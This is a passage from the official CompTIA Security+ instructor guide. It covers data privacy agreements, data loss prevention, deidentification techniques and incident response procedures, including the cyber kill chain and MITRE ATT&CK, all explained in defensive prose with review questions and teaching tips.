contact, likely consequences arising from the breach, and measures taken to mitigate
the breach.
GDPR offers stronger protections than most federal and state laws in the US, which
tend to focus on industry-specific regulations, narrower definitions of personal data,
and fewer rights and protections for data subjects. The passage of the California
Consumer Privacy Act (CCPA) has changed the picture for domestic US legislation,
however (csoonline.com/article/3292578/california-consumer-privacy-act-what-you-
need-to-know-to-be-compliant.html).

Show Slide(s) Data Sharing and Privacy Terms of Agreement

Data Sharing and
It is important to remember that although one can outsource virtually any service or
Privacy Terms of activity to a third party, one cannot outsource legal accountability for these services
Agreement or actions. You are ultimately responsible for the services and actions that these third
parties take. If they have any access to your data or systems, any security breach in

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 445

their organization (for example, unauthorized data sharing) is effectively a breach in

yours. Issues of security risk awareness, shared duties, and contractual responsibilities
can be set out in a formal legal agreement. The following types of agreements
are common:
• Service level agreement (SLA)—a contractual agreement setting out the detailed
terms under which a service is provided. This can include terms for security access
controls and risk assessments plus processing requirements for confidential and
private data.

• Interconnection security agreement (ISA)—ISAs are defined by NIST's SP800-47

"Security Guide for Interconnecting Information Technology Systems" (csrc.nist.
gov/publications/detail/sp/800-47/final). Any federal agency interconnecting its IT
system to a third party must create an ISA to govern the relationship. An ISA sets
out a security risk awareness process and commits the agency and supplier to
implementing security controls.

• Nondisclosure agreement (NDA)—legal basis for protecting information assets.

NDAs are used between companies and employees, between companies and
contractors, and between two companies. If the employee or contractor breaks this
agreement and does share such information, they may face legal consequences.
NDAs are useful because they deter employees and contractors from violating the
trust that an employee places in them.

• Data sharing and use agreement—under privacy regulations such as GDPR or

HIPAA, personal data can only be collected for a specific purpose. Data sets can
be subject to pseudo-anonymization or deidentification to remove personal
data, but there are risks of reidentification if combined with other data sources.
A data sharing and use agreement is a legal means of preventing this risk. It can
specify terms for the way a data set can be analyzed and proscribe the use of
reidentification techniques.

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 446 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Privacy and Data Sensitivity Concepts
Answer the following questions:

1. What is the difference between the role of data steward and the role of data
custodian?

The data steward role is concerned with the quality of data (format, labeling,
normalization, and so on). The data custodian role focuses on the system hosting the
data assets and its access control mechanisms.

2. What range of information classifications could you implement in a data

labeling project?

One set of tags could indicate the degree of confidentiality (public, confidential/secret,
or critical/top secret). Another tagging schema could distinguish proprietary from
private/sensitive personal data.

3. What is meant by PII?

Personally identifiable information is any data that could be used to identify, contact,
or locate an individual.

4. You are reviewing security and privacy issues relating to a membership

database for a hobbyist site with a global audience. The site currently
collects account details with no further information. What should be added
to be in compliance with data protection regulations?

The site should add a privacy notice explaining the purposes the personal information
is collected and used for. The form should provide a means for the user to give explicit
and informed consent to this privacy notice.

5. You are preparing a briefing paper for customers on the organizational

consequences of data and privacy breaches. You have completed sections
for reputation damage, identity theft, and IP theft. Following the CompTIA
Security+ objectives, what other section should you add?

Data and privacy breaches can lead legislators or regulators to impose fines. In some
cases, these fines can be substantial (calculated as a percentage of turnover).

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 447

Topic 16B
Explain Privacy and Data
Protection Controls

EXAM OBJECTIVES COVERED Teaching

2.1 Explain the importance of security concepts in an enterprise environment Tip
3.2 Given a scenario, implement host or application security solutions
This topic focuses
5.5 Explain privacy and sensitive data concepts in relation to security on technical
controls for DLP and
Policies and procedures are essential for effective data governance, but they can be deidentification.
supported by technical controls too. As a security professional, you need to be aware of
the capabilities of data loss prevention (DLP) systems and privacy enhancing database
controls, and how they can be used to protect data anywhere it resides, on hosts, in
email systems, or in the cloud.

Data Protection Show Slide(s)

Data stored within a trusted OS can be subject to authorization mechanisms where Data Protection
the OS mediates access using some type of ACL. The presence of a trusted OS
cannot always be assumed, however. Other data protection mechanisms, notably Teaching
encryption, can be used to mitigate the risk that an authorization mechanism can Tip
be countermanded. When deploying a cryptographic system to protect data assets, Make sure students
consideration must be given to all the ways that information could potentially be can distinguish the
intercepted. This means thinking beyond the simple concept of a data file stored on a data states and the
disk. Data can be described as being in one of three states: different types of
encryption that can be
• Data at rest—this state means that the data is in some sort of persistent used.
storage media. Examples of types of data that may be at rest include financial
information stored in databases, archived audiovisual media, operational policies
and other management documents, system configuration data, and more. In this
state, it is usually possible to encrypt the data, using techniques such as whole
disk encryption, database encryption, and file- or folder-level encryption. It is
also possible to apply permissions—access control lists (ACLs)—to ensure only
authorized users can read or modify the data. ACLs can be applied only if access to
the data is fully mediated through a trusted OS.

• Data in transit (or data in motion)—this is the state when data is transmitted over
a network. Examples of types of data that may be in transit include website traffic,
remote access traffic, data being synchronized between cloud repositories, and
more. In this state, data can be protected by a transport encryption protocol, such
as TLS or IPSec.

With data at rest, there is a greater encryption challenge than with data in transit as the
encryption keys must be kept secure for longer. Transport encryption can use ephemeral
(session) keys.

• Data in use (or data in processing)—this is the state when data is present in
volatile memory, such as system RAM or CPU registers and cache. Examples of
types of data that may be in use include documents open in a word processing

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 448 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

application, database data that is currently being modified, event logs being
generated while an operating system is running, and more. When a user works with
data, that data usually needs to be decrypted as it goes from in rest to in use. The
data may stay decrypted for an entire work session, which puts it at risk. However,
trusted execution environment (TEE) mechanisms, such as Intel Software Guard
Extensions (software.intel.com/content/www/us/en/develop/topics/software-guard-
extensions/details.html) are able to encrypt data as it exists in memory, so that an
untrusted process cannot decode the information.

Show Slide(s) Data Exfiltration

Data Exfiltration
In a workplace where mobile devices with huge storage capacity proliferate and high
bandwidth network links are readily available, attempting to prevent the loss of data by
controlling the types of storage devices allowed to connect to PCs and networks can be
impractical. Unauthorized copying or retrieval of data from a system is referred to as
data exfiltration. Data exfiltration attacks are one of the primary means for attackers
to retrieve valuable data, such as personally identifiable information (PII) or payment
information, often destined for later sale on the black market. Data exfiltration can take
place via a wide variety of mechanisms, including:
• Copying the data to removable media or other device with storage, such as USB
drive, the memory card in a digital camera, or a smartphone.

• Using a network protocol, such as HTTP, FTP, SSH, email, or Instant Messaging (IM)/
chat. A sophisticated adversary might use a Remote Access Trojan (RAT) to perform
transfer of data over a nonstandard network port or a packet crafter to transfer
data over a standard port in a nonstandard way. The adversary may also use
encryption to disguise the data being exfiltrated.

• By communicating it orally over a telephone, cell phone, or Voice over IP (VoIP)

network. Cell phone text messaging is another possibility.

• Using a picture or video of the data—if text information is converted to an image

format it is very difficult for a computer-based detection system to identify the
original information from the image data.

While some of these mechanisms are simple to mitigate through the use of
security tools, others may be much less easily defeated. You can protect data using
mechanisms and security controls that you have examined previously:
• Ensure that all sensitive data is encrypted at rest. If the data is transferred outside
the network, it will be mostly useless to the attacker without the decryption key.

• Create and maintain offsite backups of data that may be targeted for destruction or
ransom.

• Ensure that systems storing or transmitting sensitive data are implementing

access controls. Check to see if access control mechanisms are granting excessive
privileges to certain accounts.

• Restrict the types of network channels that attackers can use to transfer data from
the network to the outside. Disconnect systems storing archived data from the
network.

• Train users about document confidentiality and the use of encryption to store and
transmit data securely. This should also be backed up by HR and auditing policies
that ensure staff are trustworthy.

Even if you apply these policies and controls diligently, there are still risks to data from
insider threats and advanced persistent threat (APT) malware. Consequently, a class of

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 449

security control software has been developed to apply access policies directly to data,
rather than just the host or network on which data is located.

Data Loss Prevention Show Slide(s)

To apply data guardianship policies and procedures, smaller organizations might Data Loss Prevention
classify and type data manually. An organization that creates and collects large
amounts of personal data will usually need to use automated tools to assist with Interaction
this task, however. There may also be a requirement to protect valuable intellectual Opportunity
property (IP) data. Data loss prevention (DLP) products automate the discovery and Refer students to
classification of data types and enforce rules so that data is not viewed or transferred a vendor site for
without a proper authorization. Such solutions will usually consist of the following more information
components: about specific DLP
product features
• Policy server—to configure classification, confidentiality, and privacy rules and and implementation
policies, log incidents, and compile reports. guidelines.

• Endpoint agents—to enforce policy on client computers, even when they are not
connected to the network.

• Network agents—to scan communications at network borders and interface with

web and messaging servers to enforce policy.

DLP agents scan content in structured formats, such as a database with a formal access
control model or unstructured formats, such as email or word processing documents.
A file cracking process is applied to unstructured data to render it in a consistent
scannable format. The transfer of content to removable media, such as USB devices,
or by email, instant messaging, or even social media, can then be blocked if it does
not conform to a predefined policy. Most DLP solutions can extend the protection
mechanisms to cloud storage services, using either a proxy to mediate access or the
cloud service provider's API to perform scanning and policy enforcement.

Creating a DLP policy in Office 365. (Screenshot used with permission from Microsoft.)

Remediation is the action the DLP software takes when it detects a policy violation. The
following remediation mechanisms are typical:
• Alert only—the copying is allowed, but the management system records an incident
and may alert an administrator.

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 450 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• Block—the user is prevented from copying the original file but retains access to it.
The user may or may not be alerted to the policy violation, but it will be logged as an
incident by the management engine.

• Quarantine—access to the original file is denied to the user (or possibly any user).
This might be accomplished by encrypting the file in place or by moving it to a
quarantine area in the file system.

• Tombstone—the original file is quarantined and replaced with one describing the
policy violation and how the user can release it again.

When it is configured to protect a communications channel such as email, DLP

remediation might take place using client-side or server-side mechanisms. For
example, some DLP solutions prevent the actual attaching of files to the email before it
is sent. Others might scan the email attachments and message contents, and then strip
out certain data or stop the email from reaching its destination.
Some of the leading vendors include McAfee (skyhighnetworks.com/cloud-data-
loss-prevention), Symantec/Broadcom (broadcom.com/products/cyber-security/
information-protection/data-loss-prevention), and Digital Guardian (digitalguardian.
com). A DLP and compliance solution is also available with Microsoft's Office 365
suite (docs.microsoft.com/en-us/microsoft-365/compliance/data-loss-prevention-
policies?view=o365-worldwide).

Show Slide(s) Rights Management Services

Rights Management
As another example of data protection and information management solutions,
Services Microsoft provides an Information Rights Management (IRM) feature in their Office
productivity suite, SharePoint document collaboration services, and Exchange
messaging server. IRM works with the Active Directory Rights Management Services
(RMS) or the cloud-based Azure Information Protection. These technologies provide
administrators with the following functionality:
• Assign file permissions for different document roles, such as author, editor,
or reviewer.

• Restrict printing and forwarding of documents, even when sent as file attachments.

• Restrict printing and forwarding of email messages.

Configuring a rights management template. (Screenshot used with permission from Microsoft.)

Rights management is built into other secure document solutions, such as Adobe
Acrobat.

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 451

Privacy Enhancing Technologies Show Slide(s)

Data minimization is the principle that data should only be processed and stored if Privacy Enhancing
that is necessary to perform the purpose for which it is collected. In order to prove Technologies
compliance with the principle of data minimization, each process that uses personal
data should be documented. The workflow can supply evidence of why processing and Teaching
storage of a particular field or data point is required. Data minimization affects the data Tip
retention policy. It is necessary to track how long a data point has been stored for since Make sure students
it was collected and whether continued retention supports a legitimate processing can use this
function. Another impact is on test environments, where the minimization principle terminology correctly.
forbids the use of real data records.
Counterintuitively, the principle of minimization also includes the principle of
sufficiency or adequacy. This means that you should collect the data required for the
stated purpose in a single transaction to which the data subject can give clear consent.
Collecting additional data later would not be compliant with this principle.
Large data sets are often shared or sold between organizations and companies,
especially within the healthcare industry. Where these data sets contain PII or
PHI, steps can be taken to remove the personal or identifying information. These
deidentification processes can also be used internally, so that one group within
a company can receive data for analysis without unnecessary risks to privacy.
Deidentification methods may also be used where personal data is collected to
perform a transaction but does not need to be retained thereafter. This reduces
compliance risk when storing data by applying minimization principles. For example,
a company uses a customer's credit card number to take payment for an order. When
storing the order details, it only keeps the final 4 digits of the card as part of the
transaction log, rather than the full card number.
A fully anonymized data set is one where individual subjects can no longer be
identified, even if the data set is combined with other data sources. Identifying
information is permanently removed. Ensuring full anonymization and preserving the
utility of data for analysis is usually very difficult, however. Consequently, pseudo-
anonymization methods are typically used instead. Pseudo-anonymization modifies
or replaces identifying information so that reidentification depends on an alternate
data source, which must be kept separate. With access to the alternated data, pseudo-
anonymization methods are reversible.
It is important to note that given sufficient contextual information, a data subject can
be reidentified, so great care must be taken when applying deidentification methods
for distribution to different sources. A reidentification attack is one that combines a
deidentified data set with other data sources, such as public voter records, to discover
how secure the deidentification method used is.

K-anonymous information is data that can be linked to two or more individuals. This
means that the data does not unambiguously reidentify a specific individual, but there is a
significant risk of reidentification, given the value of K. For example, if k=5, any group that
can be identified within the data set contains at least five individuals. NIST has produced an
overview of deidentification issues, in draft form at the time of writing (csrc.nist.gov/CSRC/
media/Publications/sp/800-188/draft/documents/sp800_188_draft2.pdf).

Database Deidentification Methods Show Slide(s)

Deidentification methods are usually implemented as part of the database Database

management system (DBMS) hosting the data. Sensitive fields will be tagged for Deidentification
deidentification whenever a query or report is run. Methods

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 452 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Data Masking
Data masking can mean that all or part of the contents of a field are redacted,
by substituting all character strings with "x" for example. A field might be partially
redacted to preserve metadata for analysis purposes. For example, in a telephone
number, the dialing prefix might be retained, but the subscriber number redacted.
Data masking can also use techniques to preserve the original format of the field. Data
masking is an irreversible deidentification technique.

Tokenization
Tokenization means that all or part of data in a field is replaced with a randomly
generated token. The token is stored with the original value on a token server or token
vault, separate to the production database. An authorized query or app can retrieve
the original value from the vault, if necessary, so tokenization is a reversible technique.
Tokenization is used as a substitute for encryption, because from a regulatory
perspective an encrypted field is the same value as the original data.

Aggregation/Banding
Another deidentification technique is to generalize the data, such as substituting a
specific age with a broader age band.

Hashing and Salting

A cryptographic hash produces a fixed-length string from arbitrary-length plaintext
data using an algorithm such as SHA. If the function is secure, it should not be possible
to match the hash back to a plaintext. Hashing is mostly used to prove integrity. If two
sources have access to the same plaintext, they should derive the same hash value.
Hashing is used for two main purposes within a database:
• As an indexing method to speed up searches and provide deidentified references to
records.

• As a storage method for data such as passwords where the original plaintext does
not need to be retained.

A salt is an additional value stored with the hashed data field. The purpose of salt is
to frustrate attempts to crack the hashes. It means that the attacker cannot use pre-
computed tables of hashes using dictionaries of plaintexts. These tables have to be
recompiled to include the salt value.

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 453

Review Activity:
Privacy and Data Protection Controls
Answer the following questions:

1. To what data state does a trusted execution environment apply data

protection?

Data in processing/data in use.

2. You take an incident report from a user trying to access a REPORT.docx

file on a SharePoint site. The file has been replaced by a REPORT.docx.
QUARANTINE.txt file containing a policy violation notice. What is the most
likely cause?

This is typical of a data loss prevention (DLP) policy replacing a file involved in a policy
violation with a tombstone file.

3. You are preparing a solution overview on privacy enhancing technologies

based on CompTIA Security+ syllabus objectives. You have completed notes
under the following headings—which other report section do you need?

Data minimization, Anonymization, Pseudo-anonymization, Data masking,

Aggregation/Banding

Tokenization—replacing data with a randomly generated token from a separate token

server or vault. This allows reconstruction of the original data if combined with the
token vault.

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 454 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Lesson 16
Summary
Teaching You should be able explain the importance of data governance policies and tools to
Tip mitigate the risk data breaches and privacy breaches and implement security solutions
Check that students for data protection.
are confident about
the content that has
been covered. If there Guidelines for Data Privacy and Protection
is time, revisit any
content examples that Follow these guidelines for creating or improving data governance policies and
they have questions controls:
about. If you have
used all the available
• Ensure that confidential and personal data is classified and managed using an
time for this lesson information life cycle model.
block, note the issues,
and schedule time for • Assign roles to ensure the proper management of data within the life cycle (owners,
a review later in the custodians, stewards, controllers, processors, and privacy officers).
course.
• Develop classifications for confidential and personal information, based on standard
descriptors such as public, private, sensitive, confidential, critical, proprietary, PII,
health information, financial information, and customer data.

• Make impact assessments for breach events and identify notification and reporting
requirements.

• Use a content management system that enables classification tagging of files and
records.

• Use encryption products to ensure data protection at rest, in transit, and in

processing.

• Deploy a data loss prevention system that enforces sharing and distribution policies
to files and records across different transmission mechanisms (file systems, email,
messaging, and cloud).

• When sharing personal data, ensure appropriate deidentification mechanisms are

applied, such as masking or tokenization.

Lesson 16: Explaining Data Privacy and Protection Concepts

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 17
Performing Incident Response

LESSON INTRODUCTION Teaching

Tip
From a day-to-day perspective, incident response means investigating the alerts Having completed
produced by monitoring systems and issues reported by users. This activity is guided the lengthy review of
by policies and procedures and assisted by various technical controls. systems that involve
the "protect" function,
Incident response is a critical security function and very large part of your work as this lesson looks at the
a security professional will be taken up with it. You must be able to summarize the "respond" function.
phases of incident handling, utilize appropriate data sources to assist an investigation,
and apply mitigation techniques to secure the environment after an event.

Lesson Objectives
In this lesson, you will:
• Summarize incident response procedures.

• Utilize appropriate data sources for incident response.

• Apply mitigation controls.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 456 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 17A
Summarize Incident
Response Procedures

Teaching EXAM OBJECTIVES COVERED

Tip 4.2 Summarize the importance of policies, processes, and procedures for incident response
This topic focuses on
policies and processes
to give an overview of
the incident response
Effective incident response is governed by formal policies and procedures, setting out
function. roles and responsibilities for an incident response team. You must understand the
importance of following these procedures and performing your assigned role within
the team to the best of your ability.

Show Slide(s) Incident Response Process

Incident Response
Incident response policy sets the resources, processes, and guidelines for dealing with
Process security incidents. Incident management is vital to mitigating risk. As well as controlling
the immediate or specific threat to security, effective incident management preserves
Teaching an organization's reputation.
Tip
Incident response follows a well-structured process, such as that set out in the NIST
Incident response is
Computer Security Incident Handling Guide special publication (nvlpubs.nist.gov/
discussed in Network+
now, but make sure nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf). The following are the principal
you allow time to stages in an incident response life cycle:
recap on the basic
processes.
1. Preparation—make the system resilient to attack in the first place. This includes
hardening systems, writing policies and procedures, and setting up confidential
Note that there are
several different lines of communication. It also implies creating incident response resources and
models for this procedures.
process, some of
which conflate the 2. Identification—from the information in an alert or report, determine whether
tasks into fewer steps. an incident has taken place, assess how severe it might be (triage), and
notify stakeholders.

3. Containment—limit the scope and magnitude of the incident. The principal aim
of incident response is to secure data while limiting the immediate impact on
customers and business partners.

4. Eradication—once the incident is contained, remove the cause and restore the
affected system to a secure state by applying secure configuration settings and
installing patches.

5. Recovery—with the cause of the incident eradicated, the system can be

reintegrated into the business process that it supports. This recovery phase may
involve restoration of data from backup and security testing. Systems must be
monitored more closely for a period to detect and prevent any reoccurrence
of the attack. The response process may have to iterate through multiple
phases of identification, containment, eradication, and recovery to effect a
complete resolution.

Lesson 17: Performing Incident Response | Topic 17A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 457

6. Lessons learned—analyze the incident and responses to identify whether

procedures or systems could be improved. It is imperative to document the
incident. The outputs from this phase feed back into a new preparation phase in
the cycle.

Incident response is likely to require coordinated action and authorization from several
different departments or managers, which adds further levels of complexity.

Phases in incident response.

Cyber Incident Response Team Show Slide(s)

Preparing for incident response means establishing the policies and procedures Cyber Incident
for dealing with security breaches and the personnel and resources to implement Response Team
those policies.
One of the first challenges lies in defining and categorizing types of incidents. An
incident is generally described as an event where security is breached or there is an
attempted breach. NIST describes an incident as "the act of violating an explicit or
implied security policy." In order to identify and manage incidents, you should develop
some method of reporting, categorizing, and prioritizing them (triage), in the same way
that troubleshooting support incidents can be logged and managed.
As well as investment in appropriate detection and analysis software, incident
response requires expert staffing. Large organizations will provide a dedicated team as
a single point-of-contact for the notification of security incidents. This team is variously
described as a cyber incident response team (CIRT), computer security incident
response team (CSIRT), or computer emergency response team (CERT). Incident
response might also involve or be wholly located within a security operations center
(SOC). However it is set up, the team needs a mixture of senior management decision-
makers (up to director level) who can authorize actions following the most serious
incidents, managers, and technicians who can deal with minor incidents on their own
initiative.
Another important consideration is availability. Incident response will typically require
24/7 availability, which will be expensive to provide. It is also worth considering that
members of the CIRT should be rotated periodically to preclude the possibility of
infiltration. For major incidents, expertise and advice from other business divisions will
also need to be called upon:
• Legal—it is important to have access to legal expertise, so that the team can
evaluate incident response from the perspective of compliance with laws and
industry regulations. It may also be necessary to liaise closely with law enforcement
professionals, and this can be daunting without expert legal advice.

Lesson 17: Performing Incident Response | Topic 17A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 458 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• Human Resources (HR)—incident prevention and remediation actions may affect

employee contracts, employment law, and so on. Incident response requires the
right to intercept and monitor employee communications.

• Marketing—the team is likely to require marketing or public relations input, so that

any negative publicity from a serious incident can be managed.

Some organizations may prefer to outsource some of the CIRT functions to third-party
agencies by retaining an incident response provider. External agents are able to deal
more effectively with insider threats.

Show Slide(s) Communication Plan and Stakeholder Management

Communication Plan
Incident response policies should establish clear lines of communication, both for
and Stakeholder reporting incidents and for notifying affected parties as the management of an incident
Management progresses. It is vital to have essential contact information readily available.
You must prevent the inadvertent release of information beyond the team authorized
to handle the incident. Status and event details should be circulated on a need-to-know
basis and only to trusted parties identified on a call list.

Communication Plan
Secure communication between the trusted parties of the CIRT is essential for
managing incidents successfully. It is imperative that adversaries not be alerted to
detection and remediation measures about to be taken against them. It may not be
appropriate for all members of the CSIRT to be informed about all incident details.
The team requires an "out-of-band" or "off-band" communication method that cannot
be intercepted. Using corporate email or VoIP runs the risk that the adversary will
be able to intercept communications. One obvious method is cell phones but these
only support voice and text messaging. For file and data exchange, there should
be a messaging system with end-to-end encryption, such as Off-the-Record (OTR),
Signal, or WhatsApp, or an external email system with message encryption (S/MIME
or PGP). These need to use digital signatures and encryption keys from a system
that is completely separate from the identity management processes of the network
being defended.

Stakeholder Management
Trusted parties might include both internal and external stakeholders. It is not helpful
for an incident to be publicized in the press or through social media outside of planned
communications. Ensure that parties with privileged information do not release this
information to untrusted parties, whether intentionally or inadvertently.
You need to consider obligations to report the attack. It may be necessary to inform
affected parties during or immediately after the incident so that they can perform their
own remediation. It may be necessary to report to regulators or law enforcement. You
also need to consider the marketing and PR impact of an incident. This can be highly
Show Slide(s)
damaging and you will need to demonstrate to customers that security systems have
been improved.
Incident Response
Plan
Incident Response Plan
Teaching
Tip An incident response plan (IRP) lists the procedures, contacts, and resources
available to responders for various incident categories. The CSIRT should develop
Contrast specific
IRPs with the general profiles or scenarios of typical incidents (DDoS attack, virus/worm outbreak, data
processes of incident exfiltration by an external adversary, data modification by an internal adversary, and
response. so on). This will guide investigators in determining priorities and remediation plans. A

Lesson 17: Performing Incident Response | Topic 17A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 459

playbook (or runbook) is a data-driven standard operating procedure (SOP) to assist

junior analysts in detecting and responding to specific cyberthreat scenarios, such as
phishing attempts, SQL injection data exfiltration, connection to a blacklisted IP range,
and so on. The playbook starts with a SIEM report and query designed to detect the
incident and identify the key detection, containment, and eradication steps to take.
Incident categories and definitions ensure that all response team members and other
organizational personnel all have a common base of understanding of the meaning
of terms, concepts, and descriptions. The categories, types, and definitions might vary
according to industry. For a listing of the US federal agency incident categories, you
can visit us-cert.cisa.gov/sites/default/files/publications/Federal_Incident_Notification_
Guidelines.pdf.
One challenge in incident management is to allocate resources efficiently. This means
that identified incidents must be assessed for severity and prioritized for remediation.
There are several factors that can affect this process:
• Data integrity—the most important factor in prioritizing incidents will often be the
value of data that is at risk.

• Downtime—another very important factor is the degree to which an incident

disrupts business processes. An incident can either degrade (reduce performance)
or interrupt (completely stop) the availability of an asset, system, or business
process. If you have completed an asset inventory and a thorough risk assessment
of business processes (showing how assets and computer systems assist each
process), then you can easily identify critical processes and quantify the impact of
an incident in terms of the cost of downtime.

• Economic/publicity—both data integrity and downtime will have important

economic effects, both in the short term and the long term. Short-term costs involve
incident response itself and lost business opportunities. Long-term economic costs
may involve damage to reputation and market standing.

• Scope—the scope of an incident (broadly the number of systems affected) is not a

direct indicator of priority. A large number of systems might be infected with a type
of malware that degrades performance, but is not a data breach risk. This might
even be a masking attack as the adversary seeks to compromise data on a single
database server storing top secret information.

• Detection time—research has shown that the existence of more than half of data
breaches are not detected for weeks or months after the intrusion occurs, while in
a successful intrusion data is typically breached within minutes. This demonstrates
that the systems used to search for intrusions must be thorough and the response
to detection must be fast.

• Recovery time—some incidents require lengthy remediation as the system changes

required are complex to implement. This extended recovery period should trigger
heightened alertness for continued or new attacks. Show Slide(s)

Cyber Kill Chain Attack Framework Cyber Kill Chain Attack

Framework
Effective incident response depends on threat intelligence. Threat research provides
Teaching
insight into adversary tactics, techniques, and procedures (TTPs). Insights from threat
Tip
research can be used to develop specific tools and playbooks to deal with event
scenarios. A key tool for threat research is a framework to use to describe the stages Relate the use of
attack frameworks
of an attack. These stages are often referred to as a cyber kill chain, following the
to the creation of
influential white paper Intelligence-Driven Computer Network Defense commissioned effective scenario-
by Lockheed Martin (lockheedmartin.com/content/dam/lockheed-martin/rms/ based incident
documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf). response plans.

Lesson 17: Performing Incident Response | Topic 17A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 460 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Stages in the kill chain.

The Lockheed Martin kill chain identifies the following phases:

1. Reconnaissance—in this stage the attacker determines what methods to use to
complete the phases of the attack and gathers information about the target's
personnel, computer systems, and supply chain.

2. Weaponization—the attacker couples payload code that will enable access with
exploit code that will use a vulnerability to execute on the target system.

3. Delivery—the attacker identifies a vector by which to transmit the weaponized

code to the target environment, such as via an email attachment or on a
USB drive.

4. Exploitation—the weaponized code is executed on the target system by this

mechanism. For example, a phishing email may trick the user into running the
code, while a drive-by-download would execute on a vulnerable system without
user intervention.

5. Installation—this mechanism enables the weaponized code to run a remote

access tool and achieve persistence on the target system.

6. Command and control (C2 or C&C)—the weaponized code establishes an

outbound channel to a remote server that can then be used to control the remote
access tool and possibly download additional tools to progress the attack.

7. Actions on objectives—in this phase, the attacker typically uses the access he
has achieved to covertly collect information from target systems and transfer
it to a remote system (data exfiltration). An attacker may have other goals or
motives, however.

Show Slide(s) Other Attack Frameworks

Other Attack
Other types of attack framework have been implemented to provide a means of
Frameworks categorizing features of adversary behaviors to make it easier to identify indicators of
such attacks.

MITRE ATT&CK
As an alternative to the life cycle analysis implied by a kill chain, the MITRE
Corporation's Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK)
matrices provide access to a database of known TTPs. This freely available resource

Lesson 17: Performing Incident Response | Topic 17A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 461

(attack.mitre.org) tags each technique with a unique ID and places it in one or more
tactic categories, such as initial access, persistence, lateral movement, or command
and control. The sequence in which attackers may deploy any given tactic category is
not made explicit. This means analysts must interpret each attack life cycle from local
evidence. The framework makes TTPs used by different adversary groups directly
comparable, without assuming how any particular adversary will run a campaign at a
strategic level.
There is a matrix for enterprise, which can also be viewed as TTPs directed against
Linux, macOS, and Windows hosts, and a second matrix for mobile. For example, Drive
by Compromise is given the ID T1189 and categorized as an Initial Access tactic that
can target Windows, Linux, and macOS hosts. Clicking through to the page accesses
information about detection methods, mitigation methods, and examples of historic
uses and analysis.

The Diamond Model of Intrusion Analysis

The Diamond Model of Intrusion Analysis suggests a framework to analyze an
intrusion event (E) by exploring the relationships between four core features:
adversary, capability, infrastructure, and victim. These four features are represented
by the four vertices of a diamond shape. Each event may also be described by meta-
features, such as date/time, kill chain phase, result, and so on. Each feature is also
assigned a confidence level (C), indicating data accuracy or the reliability of a conclusion
or assumption assigned to the value by analysis.

Intrusion event represented in the Diamond Model. (Image: Released to public domain by
Sergio Caltagirone, Andrew Pendergast, and Christopher Betz [activeresponse.org/wp-content/
uploads/2013/07/diamond.pdf].)

Incident Response Exercises Show Slide(s)

The procedures and tools used for incident response are difficult to master and Incident Response
execute effectively. You do not want to be in the situation where first-time staff Exercises
members are practicing them in the high-pressure environment of an actual incident.
Running test exercises helps staff develop competencies and can help to identify
deficiencies in the procedures and tools. Training on specific incident response
scenarios can use three forms:
• Tabletop—this is the least costly type of training. The facilitator presents a scenario
and the responders explain what action they would take to identify, contain, and
eradicate the threat. The training does not use computer systems. The scenario data
is presented as flashcards.

Lesson 17: Performing Incident Response | Topic 17A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 462 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• Walkthroughs—in this model, a facilitator presents the scenario as for a tabletop

exercise, but the incident responders demonstrate what actions they would take
